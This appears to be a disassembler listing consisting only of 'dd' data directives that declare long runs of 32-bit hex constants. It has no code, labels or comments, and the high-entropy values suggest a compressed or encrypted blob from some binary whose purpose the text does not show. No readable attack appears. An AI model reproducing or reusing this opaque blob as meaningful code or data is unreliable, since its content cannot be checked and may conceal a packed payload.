		dd 0BFDC7A82h, 4D098444h, 57533D6Ch, 6C7DCA92h,	21664E95h
		dd 4953708Eh, 0BFC13F2Dh, 0D1000D67h, 0D05839EAh, 8D821024h
		dd 2047C707h, 3809A014h, 0C1EE6FD1h, 464677Ah, 0D8BE0609h
		dd 7E40C46Dh, 6F479D5Dh, 0DD6FD21Ah, 0EC23D62h,	0B2CD44F7h
		dd 47CF0715h, 6F289453h, 0F7D3DBE1h, 12B138FAh,	0E8B867D5h
		dd 0AE2DEE97h, 2933D2F6h, 9A9A52F9h, 0FA720631h, 97B22BF9h
		dd 0EC5ADD90h, 0B5A35FDCh, 0BE6C8116h, 65A1EF34h, 0D057A36Bh
		dd 5FBF8BCDh, 0AFE90FA1h, 0C450380Dh, 0DCAFE7ADh, 0C2B15CC2h
		dd 0D673DA8Bh, 0B738D2D6h, 2180973Eh, 0E2584AC3h, 2AAD4AE3h
		dd 65F38101h, 322C2008h, 0BAAB1263h, 896C5A3h, 0AA3A5709h
		dd 0BF009F5Ah, 277D139Dh, 994A0968h, 8260A628h,	8E656DDh
		dd 2EDF885h, 596EE907h,	14B745E6h, 0DCE9309Bh, 61C9BF6Dh
		dd 0F834642Fh, 5F85FA61h, 94A2A310h, 0AFC0E42Ah, 6D9279Dh
		dd 0BFE94130h, 0E4E158D0h, 0A0902C5Bh, 1C90812Dh, 0D8575BC7h
		dd 650F1F79h, 89434A64h, 0E30BA0C3h, 4EF36BABh,	0F848189h
		dd 0A79F3C7Bh, 0AB6EEBCFh, 28B965D2h, 0B98E5B48h, 13C990CCh
		dd 2DFA1C8Bh, 0BE303ACEh, 0BC259268h, 0DE034BD3h, 85765CA0h
		dd 0F402A38h, 0A9CE212Eh, 5A32D04Bh, 5FDCA046h,	52484C1Fh
		dd 71E51049h, 0C9E69846h, 4741F868h, 0C6F7EAEBh, 49A1F00Bh
		dd 513809CFh, 8C4A88C1h, 685E0391h, 3D3C1266h, 50E741C0h
		dd 4F36C3C5h, 4221D951h, 8801D2E3h, 8159387Fh, 0E435B82Ah
		dd 5DB44BEEh, 50488758h, 133101DDh, 0EF834BE7h,	3005296Ch
		dd 0D135FD2Dh, 0E29A7EE8h, 0C22F445Eh, 0E7634BBCh, 1310F767h
		dd 58890C2Ah, 0A84450F8h, 4BA01B0h, 80F12C25h, 0C383FFEBh
		dd 66A92EAFh, 7D7A105Eh, 30DF0B89h, 97A44880h, 47D10333h
		dd 77D26A6Ch, 15FFC4Ch,	0F53DEFBAh, 5E468255h, 0C0525448h
		dd 7865A5A1h, 17E91243h, 0DCD3AC7Bh, 0D904DE97h, 0FE00D177h
		dd 11F480CCh, 12E3203Eh, 12ADACEBh, 75A0A91Ah, 0F0BFB22Dh
		dd 429651CFh, 0B0C4F82h
		dd 73274032h, 3BD901DEh, 2959CD31h, 52DA41E8h, 3CFD7250h
		dd 30869268h, 55C29C80h, 811D13C7h, 259D04CAh, 0ACBFB462h
		dd 976BAD02h, 85BFAEE9h, 0D8F1A27Dh, 25E96754h,	0B5D4D1A5h
		dd 53081E1h, 0F971E98h,	3FF9092Ah, 0B328F050h, 62A0D165h
		dd 301E5BDAh, 0ED425AD5h, 51E8282Fh, 815344C9h,	79D3A63h
		dd 0EF725667h, 97405E86h, 7720EEDEh, 1730635h, 0E1056190h
		dd 2E553815h, 65401A1Fh, 0E92E10FBh, 1C0095C9h,	873862D1h
		dd 45666A73h, 1F14C109h, 83428107h, 0C376C4E1h,	0A41F16BEh
		dd 0FFCF3B49h, 2CFCD64Ah, 7538B01h, 80C3B84Ch, 6621050Bh
		dd 482913A5h, 970B0ED0h, 4FF40475h, 0EE3FB604h,	0F1F57180h
		dd 21D92662h, 0B72504C7h, 8A028191h, 90DF6CF3h,	762204F9h
		dd 9FB6D71h, 30D70178h,	5EEF122h, 510AB7CCh, 0B9A02C5Dh
		dd 353C9809h, 76C9803Bh, 300A4A39h, 0CEC0D1F7h,	605E1C73h
		dd 5E9C202h, 0F2D55A67h, 0CF58B744h, 52BFF224h,	1A88A42h
		dd 34207D68h, 0C6F5827h, 7ECF4B0Ah, 45B46054h, 0C695E508h
		dd 0CD803195h, 2F0C9CBCh, 899F0BA3h, 0ECF9EE43h, 16C2FC88h
		dd 0A245FC5Eh, 85A35957h, 0BCD4685Ah, 1809D267h, 0C2507E78h
		dd 0F620B59Ch, 5C9076DAh, 0DB6B7877h, 46117BFCh, 0CBED004Ah
		dd 293AB462h, 0AA0A8B1h, 169D8B5h, 197D4036h, 3FBE15E9h
		dd 267983B3h, 88CDCD53h, 0B8014E84h, 49711CEDh,	41081A30h
		dd 0FAD16A5Bh, 5F00EC4Bh, 8172EB01h, 0A71E1809h, 43FA711Dh
		dd 225EC301h, 3681EAD4h, 746F9CA7h, 0A79FBBDFh,	0F22EA741h
		dd 4950D969h, 6866A182h, 0D87E0763h, 0F6FD8881h, 0E8D550D5h
		dd 0C280846Bh, 0D7097E9Fh, 0D3798502h, 77EC106h, 0BD43930Dh
		dd 0A4116019h, 0F095E642h, 4AF0BF11h, 4DAC7A1Bh, 1B64F00Ch
		dd 83A8952Bh, 120C3408h, 78770C14h, 295E66EDh, 1C429B8h
		dd 0B9E9024Ch, 0B7987D90h, 33C1A126h, 45B15152h, 0BD0E1CE8h
		dd 0E5F1CDE4h, 0D9B92C57h, 20B2021Ch, 3AD75210h, 0C8C3B4h
		dd 838B789h, 805B66FAh,	2596CA3Fh, 0DFF142EEh, 2921B884h
		dd 0C03C24B0h, 1BF007E2h, 80BB00BFh, 4E28AAF1h,	7F0DA2C8h
		dd 7DBE82Ch, 807AB180h,	66FE94E1h, 34880AC1h, 1192087Bh
		dd 0F6C13698h, 58E32859h, 5EA76D60h, 30A48956h,	2EB4DDFCh
		dd 14C89FC5h, 69C041DAh, 0CEBD4B2Eh, 7C2D6809h,	4586755h
		dd 0BD6ED1E9h, 59C9DE4Eh, 90C4C461h, 311217CDh,	0B3FC04C8h
		dd 0BDB700CBh, 0F401EF80h, 47FE62C4h, 5E250268h, 0FEDC12BBh
		dd 0F22EC769h, 983E108Ch, 0B2B0FC4Ah, 0E06810EFh, 64775E95h
		dd 0F6CFEFCEh, 37129142h, 9274AD09h, 5BCB83D8h,	92ED376Dh
		dd 0AD64E2DEh, 0D760030Bh, 9D02F572h, 65AEA81h,	0F27E68B7h
		dd 7FF612CAh, 0B186016Eh, 7B44665Ah, 0F252F40Eh, 0E9566CFAh
		dd 61F1D04Fh, 9218F0Eh,	18544F08h, 4E998259h, 0D4762725h
		dd 6A08A093h, 15A4A65Eh, 14FD12Bh, 0DCF9C8A9h, 99C72ECEh
		dd 88A5D68Bh, 133D486Dh, 23ABA363h, 0BA8501E7h,	450EFCEh
		dd 6F819D02h, 6E3A0650h, 3BB5FA1Dh, 91694BAh, 0B07D99A2h
		dd 824BDC74h, 7F8876C0h, 0D02DEB2Dh, 4891BE6Eh,	0B25A129Bh
		dd 9688DE3h, 811C9493h,	2EC386DFh, 9317A7A3h, 0E83DFEB0h
		dd 0D7982C3Bh, 0D441C841h, 0AD017C5Fh, 38332B55h, 0AA43D9B9h
		dd 0BC9FD60h, 45E64EBCh, 1609CF00h, 0E92A0D44h,	31509EF7h
		dd 0E840A1F9h, 0B7A3A4BDh, 0B7034164h, 894D1BB2h, 98C958DAh
		dd 0BD6CF616h, 0F501C901h, 2BF7B92Bh, 0C053D415h, 96C47D9h
		dd 6852551Dh, 3A924E41h, 0A17E4A5Ah, 5F0B4060h,	89E2BE31h
		dd 0A111DFB6h, 42FEB527h, 0FE070118h, 0FEBB8CDh, 59EE28B3h
		dd 19F6C7h, 0B9B5E9F3h,	0A1203899h, 4FE9CEBDh, 2DE6A251h
		dd 57B9E159h, 0F414D68Bh, 0AA8C05E4h, 7D186813h, 62804837h
		dd 4B276F5Dh, 4631B058h, 0C1644427h, 0D9CA05F4h, 0CEA68853h
		dd 729DF280h, 7D2160BBh, 94234ED7h, 4FCDFCC6h, 9CC03CC8h
		dd 4D85A2E8h, 563FA3F7h, 0AD6FCD17h, 780B6962h,	0D20C2CC4h
		dd 0D56BF4h, 5B0F8FE5h,	92AEFE1Eh, 1A2D05ECh, 0EB7E9D79h
		dd 702A184h, 83D810E9h,	0D2DA0354h, 0F944DD97h,	217CE931h
		dd 97205F54h, 574082DBh, 114EA075h, 0C1103EF6h,	675D2561h
		dd 9851A5F7h, 8820C06Bh, 0C6E924C2h, 0E5C086FBh, 65A0604h
		dd 540347A9h, 0CCB45066h, 9D7FE87h, 0F625C0Dh, 29C0B177h
		dd 2DF7A07Fh, 1D157B02h, 6C49F1E9h, 0E677A49Fh,	483E05EFh
		dd 0B482E903h, 0F297EEAEh, 2D08B025h, 0AC7305BEh, 1F4A6E08h
		dd 510ACBC1h, 25650491h, 0F45B395Eh, 0BE1556AFh, 81AE0134h
		dd 6D716C87h, 380BD648h, 69025C64h, 490AA1FFh, 43E6E571h
		dd 0CE16F048h, 4DE9126Bh, 5E25A7A1h, 2E48A1BDh,	0D28BB65Ah
		dd 36099A1Ch, 0C51A8209h, 586644Ch, 2EA44FEBh, 6DFAE047h
		dd 31B15010h, 0BF786E04h, 118FAF5h, 5C7FD2BCh, 9218EFFCh
		dd 0EF5AC751h, 54C4DA8Bh, 49E9E236h, 21F9BD6Bh,	0DBE32B79h
		dd 658A5313h, 0FD8382D3h, 63B56BE1h, 2FCA4CFFh,	6F7003F7h
		dd 0B24D165Ch, 5160BB1Fh, 37E9D828h, 52224DA0h,	0B16A48E3h
		dd 145D67A9h, 0CA8F3AAh, 0B4A120C4h, 92432C3Bh,	8EBB6DA5h
		dd 78B717D5h, 2C262EB4h, 2743DD07h, 9CBA2282h, 8002B200h
		dd 0F8A94BE2h, 0D2F6182Ch, 20E92EDCh, 2EE758F9h, 264C35CAh
		dd 0B6E1D125h, 9398CDE9h, 0CB8055C1h, 9C4A3627h, 817225C5h
		dd 337D310Eh, 0B7E2C030h, 0B0705D79h, 762D76BBh, 0F852D259h
		dd 0E9CE1724h, 78FC8917h, 0FC7B16F5h, 837D84B1h, 3D0D6802h
		dd 36C2B59Bh, 0CFE9A068h, 1024BE4Ah, 6A126282h,	0B6E5572Ch
		dd 9D482E6Ch, 9D4F07F1h, 76EA14BFh, 2DB9F94h, 3C25489Ch
		dd 3F611372h, 4FB3EC6Fh, 0FF5058A6h, 2861255Dh,	17F7D5C0h
		dd 0CA13572Fh, 7F080A69h, 1CC21420h, 0D2E497E9h, 12504A87h
		dd 85FDFDADh, 2ACD5BD8h, 0F26A54D9h, 47A78404h,	3B2229ABh
		dd 16295C52h, 0B6DB3F41h, 0FE596600h, 3B90C54Ch, 51538108h
		dd 0EF88F3B5h, 824B3970h, 4001DF70h, 657A2D48h,	8FFD4EBFh
		dd 0B5BD2274h, 0C8B79E6Eh, 0BA32E9BDh, 42C700CCh, 0AE0AB338h
		dd 5A77F73Ch, 9DEB89FEh, 32BCCD61h, 20049C5Dh, 3B6CA72Dh
		dd 5725417Dh, 60EC51ACh, 1DF3685Eh, 7CD86697h, 0D08181EAh
		dd 0EC1ED23Ah, 8AE60153h, 48288310h, 0B05CB2EEh, 8B50971Bh
		dd 62E4F07Bh, 6F3623BDh, 0C9E13D9Dh, 4521892h, 0EB779C38h
		dd 0A8C1F531h, 40F50848h, 9C0CB25Ch, 34EBC280h,	0D9218064h
		dd 0CE6C54B6h, 0AB732EE7h, 46E601B2h, 3129A777h, 0E064F019h
		dd 0EEC1100Fh, 4414B802h, 9FED735Eh, 494847D8h,	300E1C15h
		dd 5B5C1698h, 7FE92550h, 0EA7CFF42h, 389D0140h,	0D7295E79h
		dd 94F1A0A6h, 0F8BF21C3h, 0FCBC2A32h, 9B6E8963h, 4EBCB900h
		dd 813F17EEh, 0EA728BF1h, 25FD701Dh, 0F570DD01h, 0B13EC3Dh
		dd 70CF8715h, 25E9E8D5h, 7871A98Dh, 6E7BC189h, 0F85C5F00h
		dd 62ABE53Eh, 5260CA27h, 5281726Bh, 8542EC88h, 69086805h
		dd 1B106EE6h, 0B1BF027Eh, 0FF125F22h, 9B788048h, 0BD7479Fh
		dd 7825150h, 0C7575E5Dh, 69D92529h, 626B020h, 0E810FC53h
		dd 0DF78592Fh, 2A601695h, 2CC40E9h, 13F8B850h, 0B2602659h
		dd 6D5C14D5h, 468C12DCh, 0EC2C75ABh, 4C5730DBh,	12F00ABAh
		dd 4EF8976h, 0EECD4B51h, 6E3FE830h, 27367D92h, 0AEC97FA8h
		dd 5B0BD67Ch, 88482DDAh
		dd 0EB124A05h, 0A0A05243h, 34E92C5Ah, 6B56A52Bh, 0B76C0E2h
		dd 0A49683F5h, 87BAA52Ah, 0A44D8735h, 2CCAC45h,	73E96869h
		dd 6FBA5F6Ah, 555BC255h, 5381FD47h, 5051D788h, 0EE52FCD0h
		dd 96F5F2E6h, 0D5515267h, 876C8840h, 81EA9501h,	99432540h
		dd 0C608AF99h, 0CCBF0748h, 0AB019502h, 92BADD85h, 29CEC4h
		dd 748F0861h, 12A1B68h,	44E2107Ch, 16FE0C92h, 94050B2Dh
		dd 4A9FFC4Bh, 0DB22BE9Bh, 5BFE525Ch, 0C25EB8D7h, 94F4E1E9h
		dd 483490FAh, 0C1846DDCh, 0DDB83236h, 9A4366A9h, 62EE81B9h
		dd 44F66318h, 0EA99039Eh, 3B6F592Ah, 75522FD9h,	0E7887D9Ah
		dd 276C5BFBh, 0F2E9CEB8h, 0ECECB24Fh, 87244F9Dh, 8AE82365h
		dd 84BB584Dh, 5AF34FA7h, 0A1F2E893h, 5207EB31h,	81A2443Ch
		dd 0A2305A07h, 13162FB3h, 58D42A60h, 0A18F5582h, 6A39200Dh
		dd 0A80D9024h, 0D847A19Bh, 591C576h, 5F0C46E5h,	90E3034Dh
		dd 0F48562FCh, 925A9157h, 222AE9C9h, 0B45C55AFh, 69C95D96h
		dd 50EA4F05h, 0EB04C06Ah, 0B556DB65h, 49080624h, 0C972E914h
		dd 5A52A68Dh, 0CD8EA9AEh, 0AD13D726h, 9CD83ED2h, 6743A917h
		dd 8E2D92EFh, 1D9BA1A6h, 0CB7D4498h, 0D5C5A34Eh, 6C2DE1CBh
		dd 59651F74h, 0AFC316FBh, 89A12F53h, 0C65EC502h, 478F14B6h
		dd 8D138220h, 3EEA8D7Dh, 57E7E632h, 777AF1D9h, 53153903h
		dd 0C83139E0h, 4BB96C9Dh, 68B34EC3h, 898E212Ah,	66D3EE13h
		dd 0E618D4A4h, 2DDFED17h, 7574D06Ah, 0CEF159A5h, 298DB983h
		dd 70CB01C1h, 0B75B0F8Dh, 4332FBF0h, 42EF121Ah,	56CEA2B8h
		dd 825AD33Eh, 5B9A2192h, 78D882D5h, 9177295Bh, 47205C36h
		dd 1B5D6B99h, 0A862BA02h, 0BB0498C6h, 1EE73C9Bh, 0DF5C6BFh
		dd 7F3EFC98h, 7C3FAD26h, 0CEEF81E3h, 0A0653242h, 880B312h
		dd 37B41DE9h, 0FC554D0Eh, 0C34210E6h, 0C3CEFF02h, 1FB92F30h
		dd 1674FCF2h, 0D74A6E16h, 3F85A007h, 0E97C7C3Ch, 2ABCCA9Fh
		dd 67105CFBh, 85B2520Fh, 0D3866D05h, 84E7C72Bh,	46DCB025h
		dd 84B8899Fh, 80006BE0h, 58660EEBh, 8F202B9Ah, 0B53A5404h
		dd 0E4FD5001h, 0CE121683h, 10998B57h, 0DD58082Eh, 9C5DCD25h
		dd 0DD6818F8h, 0B525290Dh, 9F852B94h, 80BE8438h, 719A289h
		dd 3EBB6D5Ch, 613B8CCEh, 0F6501A6Eh, 0BA6B4CB3h, 48C9A701h
		dd 2F09E93Dh, 0E02D860Fh, 0F742E85Eh, 0A2D175D8h, 0F158CAA8h
		dd 0D1309665h, 341CA74h, 9744B152h, 0DDED722Eh,	0FAC4E42Fh
		dd 5E7A2AF5h, 0E538C9BBh, 0AC8A46F9h, 5E960850h, 4A85CCA0h
		dd 40B2E563h, 8BE6E10Dh, 0F4A92C51h, 52E3370Ch,	888C5B1h
		dd 8B2ACB1h, 5E12A39Ah,	18864AB9h, 0EA0E938Ch, 337D7FF3h
		dd 0BE8B1452h, 3117D646h, 704AFAC3h, 0B3A88149h, 16830B5Ch
		dd 61EA80CDh, 0F0F18905h, 0CD979371h, 481410D7h, 3DAA1652h
		dd 0C5F33134h, 0B59C50h, 0B952064Fh, 0D854DF95h, 47FBE917h
		dd 0EE859727h, 8941C88Dh, 58005D50h, 0D509F681h, 206E1Ch
		dd 8903D207h, 0EEC13A76h, 0EC09CDD0h, 29B3051Ch, 0F063E9F7h
		dd 0FAB50535h, 444B9004h, 0E0AF79Bh, 0CA182855h, 46AED02h
		dd 2315E05h, 276D8FBCh,	55426ACAh, 26FFC7D5h, 0D424CEh
		dd 59805B3Fh, 7B9481E9h, 17AB5A17h, 3601EB2Dh, 3F177F38h
		dd 0CFEEA03Ah, 487DA43Ah, 6B3B1BE3h, 6921B131h,	7344A32Ah
		dd 3AB2DA5Fh, 0CFE18102h, 8B8DEF12h, 444C7A82h,	4BCE3ED3h
		dd 106BF3D8h, 5C26813Ah, 2CC817A4h, 969F553Ch, 5D770030h
		dd 0E9471346h, 0FAAB51D6h, 949FB5A3h, 2E9389C1h, 0E0E82FF5h
		dd 7A6697A2h, 6567DF2Dh, 0FBA40CBDh, 0AB480F4Dh, 400984C1h
		dd 8D32A417h, 0BC01D640h, 67FD3CF4h, 72C713B7h,	0E4F49E1Fh
		dd 0AE7BF14Bh, 0E55827CBh, 9E5BE79Dh, 0CD79B1D2h, 60A0493Fh
		dd 529DEA0Eh, 0A253A0AFh, 3C12751h, 0AA089454h,	8A54124Ah
		dd 9064D7Ch, 8133B05Dh,	656C8DE9h, 0BED90471h, 52C1FE00h
		dd 2645B63Dh, 589447EEh, 98EAB5BDh, 0EF923F23h,	53BCE0BDh
		dd 2D49ACAh, 0CCFE0CECh, 0C784DCF6h, 57D941B1h,	0A42E4D19h
		dd 0A50531F3h, 0DF299586h, 4A0962E8h, 1E02126Dh, 5901D861h
		dd 0B73E3C87h, 0D33C8B64h, 43096958h, 523853FEh, 3F01AB01h
		dd 38060CD9h, 9F08885Bh, 48900C4Dh, 60806119h, 278C8268h
		dd 773EA808h, 0F04C180Dh, 8033F110h, 0DB80D142h, 0BDCA8032h
		dd 801EEF80h, 0B88063F8h, 6208C4B1h, 8845066Bh,	79D23120h
		dd 98D3C308h, 0F6792B18h, 49BE83B7h, 31B6A320h,	34106CFEh
		dd 7E088C74h, 635A1872h, 5B5008DEh, 610F1818h, 0C677DB08h
		dd 84AE518h, 73E15C63h,	537120BCh, 62C06A20h, 9BA7965h
		dd 2C94902h, 460312A4h,	81018C2h, 952008D7h, 826618C6h
		dd 93042008h, 31682620h, 0D5285275h, 0B3088CCAh, 0C6B2C120h
		dd 86F7610h, 314BC620h,	9E2010F9h, 4CDC01D8h, 166E001h
		dd 19019C23h, 0EA08883Eh, 6798080Bh, 28C1F30Ch,	8FA66BEh
		dd 0D131C936h, 0ABD90807h, 693A1889h, 18720026h, 8186C733h
		dd 3C082A7Ch, 764B20C4h, 8E49431h, 7D01971Bh, 0FFC3017Bh
		dd 488E9203h, 20983020h, 6C208E5Bh, 0ECAE2088h,	286AE234h
		dd 3208B886h, 3E189CD7h, 45A6F4A3h, 0EAC10819h,	8C51B418h
		dd 88856CDh, 1008F8C4h,	594F0C95h, 9A653730h, 0EC444808h
		dd 5206FED0h, 53E1185Ah, 112AAB80h, 2931E895h, 0E66A088Bh
		dd 9919308Ch, 7A406608h, 96440D9h, 6B282E66h, 333120C9h
		dd 58BF7024h, 1F1BE790h, 39D608B4h, 84E9331h, 9002CE67h
		dd 5CD880A7h, 0AD8045C9h, 9908C682h, 7831203Dh,	0E0330839h
		dd 81711024h, 0CBB824A7h, 0B6085763h, 45283148h, 3A3A959h
		dd 0F0712AC8h, 58322AD4h, 107062B0h, 0A5025F42h, 62244925h
		dd 0DC7518A8h, 18231808h, 8C94EAFh, 7F782699h, 96C720F9h
		dd 2153D937h, 6B0F0848h, 0CE8EF08h, 3008A8C4h, 0F2183163h
		dd 0B9081057h, 95A71038h, 28809D19h, 21C188BBh,	29441973h
		dd 35E42425h, 664AD340h, 0A953185Ch, 1034B14Dh,	7110984Ch
		dd 0C4BC2A66h, 2487C420h, 98B0309Eh, 91810819h,	0DFD318C5h
		dd 18FCC448h, 8F69798Ch, 9C6008C7h, 0A4C9E8D4h,	3D5D063Ah
		dd 8B5F2E43h, 605573E0h, 473B1040h, 20C752Ch, 0E8913EBh
		dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh,	8FC9C38Bh
		dd 0F003DE40h, 592397B9h, 0FC0C033h, 306B4FB1h,	959D702Ch
		dd 54F2BDD6h, 0A1688F0h, 0B7091C9Fh, 30E8CC79h,	0BA0A587Dh
		dd 8A333225h, 5B20143Eh, 7AF3B580h, 685EC291h, 602A40CDh
		dd 0E953576Ah, 184E3931h, 0F7F48BB0h, 0F1C11C80h, 0DD16FF28h
		dd 0E90BD90h, 5E995837h, 6634C5CCh, 0D1E32780h,	9A3DF47Ch
		dd 0C0164EBBh, 772CEC6h, 685F2141h, 0C5B05B62h,	0F75C6AB4h
		dd 0E3EF02E4h, 80761258h, 4A074287h, 0F10CC141h, 71F9D0E6h
		dd 3BC82C53h, 3B038F68h, 23E34601h, 4AC2176Bh, 0C9DA1EDEh
		dd 0B75EEF15h, 0E5550D80h, 0E2812Dh, 6110235Bh,	78E9F287h
		dd 2DF87A5Bh, 4089BEB5h, 17BF67Eh, 45AFBF57h, 952814AAh
		dd 25168A0h, 583CC413h,	138FF8B4h, 0BF77FD50h, 0C22C2C36h
		dd 5207E822h, 0B02A184h, 0DFE4B25Ah, 749E656Eh,	20FEE108h
		dd 0E1B75ED6h, 0ABE23F13h, 5448EDC6h, 81465E07h, 8E5990EEh
		dd 0DDC6C0B1h, 0BDD1E5ECh, 0C53130FAh, 5B542C1Bh, 7402A02Ah
		dd 0BE59E495h, 5BDEC216h, 0E9187470h, 0C781EAFDh, 72381B68h
		dd 0D7E02E46h, 0CCBA0269h
		dd 16B568BDh, 0F6D4A842h, 0B0731837h, 564D9D5Dh, 7C2F492Fh
		dd 8D82A762h, 46D7F23Ah, 0A9504EA1h, 96E5F4EDh,	31712C2Ah
		dd 6EE11790h, 5DF042D9h, 5B22C494h, 1824BD58h, 0C2D909B2h
		dd 0B8BA0208h, 222368D4h, 0AF61C0F6h, 17B8D10h,	0B720C909h
		dd 4CC07F61h, 0D21956E9h, 98DFA02Ch, 48A3A74Ah,	108B7918h
		dd 0BC5FED80h, 508A02BDh, 0AC3018ECh, 2C1266BEh, 48376EAFh
		dd 9DFCE0F5h, 50810E48h, 3810C468h, 0B5518052h,	0FA64B282h
		dd 1C5B4D9Ch, 0C7FE7880h, 289AF7E9h, 9E67BF38h,	48D3A43h
		dd 0F9C97829h, 9DE7B20h, 5F10D007h, 0D88C3874h,	5EEB2314h
		dd 46E85Dh, 10916852h, 955A3F5Eh, 0C9E90901h, 0F860AF39h
		dd 0FCA0C55h, 856421F3h, 9DC3449Dh, 8D684768h, 50EC5853h
		dd 8469D48Bh, 59945F12h, 0BF9DEC97h, 0B3ADDBD9h, 0F417B40Dh
		dd 0D627F735h, 0AD6AC552h, 0B302FDBAh, 8A483656h, 92246859h
		dd 0D69A2403h, 0BC87DE97h, 0FFA23B92h, 0D682870h, 9FBCA644h
		dd 585445B0h, 0B9ABF86h, 686E9F81h, 602DC9B4h, 45059711h
		dd 14193E9h, 0AB2ECCABh, 0B8121D60h, 74556548h,	22050B52h
		dd 6D82D3FCh, 0CC4058C7h, 0F6EF9C25h, 5102FBF6h, 0FC4845E9h
		dd 7C7F8396h, 0C043385h, 84B45482h, 0CE2FD1BEh,	0E9D13FBEh
		dd 316FE617h, 32BC956Fh, 0B9899F3Dh, 6BE27B02h,	69D396D7h
		dd 0F4F42966h, 0A0F3E941h, 3A71E004h, 4B8A8497h, 0C33280BFh
		dd 3BEE2B85h, 9C872BDh,	0FE6858A1h, 0DA544FABh,	507EE9F0h
		dd 77209D3Fh, 0DF33F0F3h, 0F6067D1Eh, 24AF34D0h, 0C9E181E3h
		dd 2C1F5470h, 0E87AE3DBh, 7789BEDFh, 2BC135C8h,	31FFC4Ah
		dd 204B2705h, 9ADDAB16h, 0BAE84030h, 0D93112B7h, 6C02FE2Ah
		dd 812DE829h, 3C4AE90Ah, 74DA8B35h, 3B73EBBDh, 0E9043344h
		dd 0AE5FD4F9h, 0F342AF39h, 5A6600ABh, 734AC980h, 0DD6B96A1h
		dd 192667FEh, 58943DF5h, 170DF22Bh, 86128E75h, 0D02714EEh
		dd 500A4310h, 0BD70FD16h, 0A29868E1h, 222CA5BAh, 27B09850h
		dd 547191FBh, 0F6B94D20h, 78E32A19h, 250DD4B5h,	262A7A48h
		dd 0D4F70593h, 9574D28Bh, 0B1C3FC2Ch, 71527E17h, 161D250h
		dd 28826F9Fh, 8B9BF281h, 0D80EE90Dh, 9559B544h,	39E068C8h
		dd 1D36D464h, 32BEE94Ah, 9481C01Ch, 0CC27F580h,	3C9810CDh
		dd 0FEA8A65Bh, 86ADFDA5h, 1DB8BE9h, 0C680D6F6h,	20F32851h
		dd 0D74055BAh, 88521250h, 4CBB09FAh, 0FBB6BA7Dh, 12030C6Dh
		dd 7400C117h, 5FDF37Bh,	136A523Eh, 10C80162h, 0E90B0831h
		dd 32078E5h, 724E07AFh,	20C49EDFh, 5AF44CAh, 0B0752B86h
		dd 54052C19h, 5D57428Eh, 453AE981h, 30F9CA2Fh, 63A8EE44h
		dd 0B76E5F68h, 5B0C4033h, 3853E915h, 4C4458ADh,	50EE2FC9h
		dd 91B9AE3h, 2FD706BDh,	0A81F5E8Fh, 16149108h, 28ACA00Bh
		dd 3D80F13Ch, 1A4B1083h, 0CE5BB248h, 0FE90CD6h,	7421649h
		dd 594FBE56h, 0EF0904ADh, 19687546h, 0EA299D58h, 0E9626653h
		dd 77DFEA20h, 0D2473BE8h, 6946D195h, 57F78B7Dh,	6817B516h
		dd 38AF0907h, 0E2949571h, 3A7A26h, 5537805Dh, 0F41A28BDh
		dd 56296E35h, 496C16Dh,	7F7F8B0Bh, 0B862F104h, 81BFBA4Fh
		dd 2FCB986Dh, 0FD54D0D2h, 68156D6Eh, 784A7C4Eh,	6570CA09h
		dd 0AD3CF164h, 0DE005C50h, 495EEB78h, 0C105E9C1h, 0D417EA8Ah
		dd 0B70C8325h, 0F7E888C5h, 38F0F26h, 957F20EBh,	759A6801h
		dd 216499B0h, 11BC40E2h, 37D2A528h, 0D84D72EFh,	5D5EEDCAh
		dd 7E09B602h, 4C0FD18h,	5197E931h, 1E5A4D9h, 19490ADBh
		dd 7FE850D1h, 5A0E5E12h, 8EE9CB09h, 0DEEE1285h,	0DE90C4Dh
		dd 49F71C8Dh, 3D13BFDEh, 0F2550922h, 5ACAB06Ah,	928D4DD7h
		dd 12091C17h, 0BBD4B45Bh, 0BA123A60h, 779F13D1h, 0FAF3EB06h
		dd 8AEE7F52h, 0E90B3447h, 9A291BA1h, 309895Ch, 7912FDF9h
		dd 0E5A032CCh, 28012567h, 0E9D72911h, 8B2A2E30h, 4893D263h
		dd 0AA68905Bh, 0C7E91C7Eh, 0F95F383Bh, 15049F79h, 74BE0103h
		dd 967FFCD2h, 812B06C9h, 81D4F454h, 359ABA48h, 0B06E68F7h
		dd 0BE307AD1h, 64B0B848h, 2138096Eh, 9C7E5FFAh,	0AAB6C281h
		dd 0DCDD3A84h, 0DA8AD6E5h, 2D072DD0h, 845A2ED4h, 0B7C7535Dh
		dd 9584D799h, 0B5FB905Ch, 0EC7988ADh, 0E32FA82Eh, 23170D69h
		dd 1F9312ACh, 0E9DD4255h, 0C577BFB8h, 0F15C45EAh, 55B41398h
		dd 0ABBFB1h, 2E5A50BBh,	407264A8h, 7E389E96h, 8218DE97h
		dd 8CC22740h, 40649A5Dh, 422E205h, 8E97564h, 6FD3B207h
		dd 77B36729h, 0F7AC0B0Eh, 0B1090016h, 42D3E92Eh, 5BA2DD27h
		dd 2909F7AEh, 0E544775Ah, 0E3B237FCh, 0F82FB4B3h, 3A583E89h
		dd 0BB0597D2h, 833360DBh, 6BA8E3E8h, 0F3EC3FC0h, 0EA3C1202h
		dd 57DA8938h, 0E28158C5h, 12944752h, 11FC022Ah,	22DED025h
		dd 493CDFC0h, 95C5B551h, 71261580h, 98F1011Fh, 0CB5F31C9h
		dd 0DCB0ED5Bh, 0EAB76E4Dh, 0C080C9Eh, 7078099Ch, 2F595B0Fh
		dd 0E3687549h, 0DA95F068h, 2777271Bh, 5CE45E7Bh, 0E9CE49A3h
		dd 0B057F009h, 2B2FCE5Fh, 9C175811h, 0AC4A0A35h, 25D60AEAh
		dd 0C9E09DB5h, 0E5A0DF2Eh, 9D064305h, 1B2D0C00h, 296E917Ah
		dd 740F9D8h, 0D73EADE9h, 7A1FF975h, 6A1EAA26h, 77F1DA96h
		dd 2E9AE9h, 80C4FE62h, 887DD0ECh, 19480AF8h, 77388B16h
		dd 0A9478AB0h, 0BAF75CD2h, 0BD964049h, 0AABD5AC5h, 75C78C91h
		dd 475D09A7h, 46E98518h, 640A8DC4h, 0B39E4F1Bh,	0C112226Bh
		dd 0F0574633h, 5BAB603Fh, 1814B1CBh, 0D560397Bh, 28596637h
		dd 588072EEh, 9644BFEDh, 5DF37730h, 591FF79Bh, 0D0218C52h
		dd 0F50CC64Bh, 0C644271h, 0DA3513BBh, 55E1249h,	0B8125930h
		dd 54F70244h, 0E0629402h, 7217DBADh, 5BE93705h,	0A8F255EFh
		dd 2C5A092Ch, 3A0B763Ch, 12B1510Bh, 50967180h, 0FCEAF9B4h
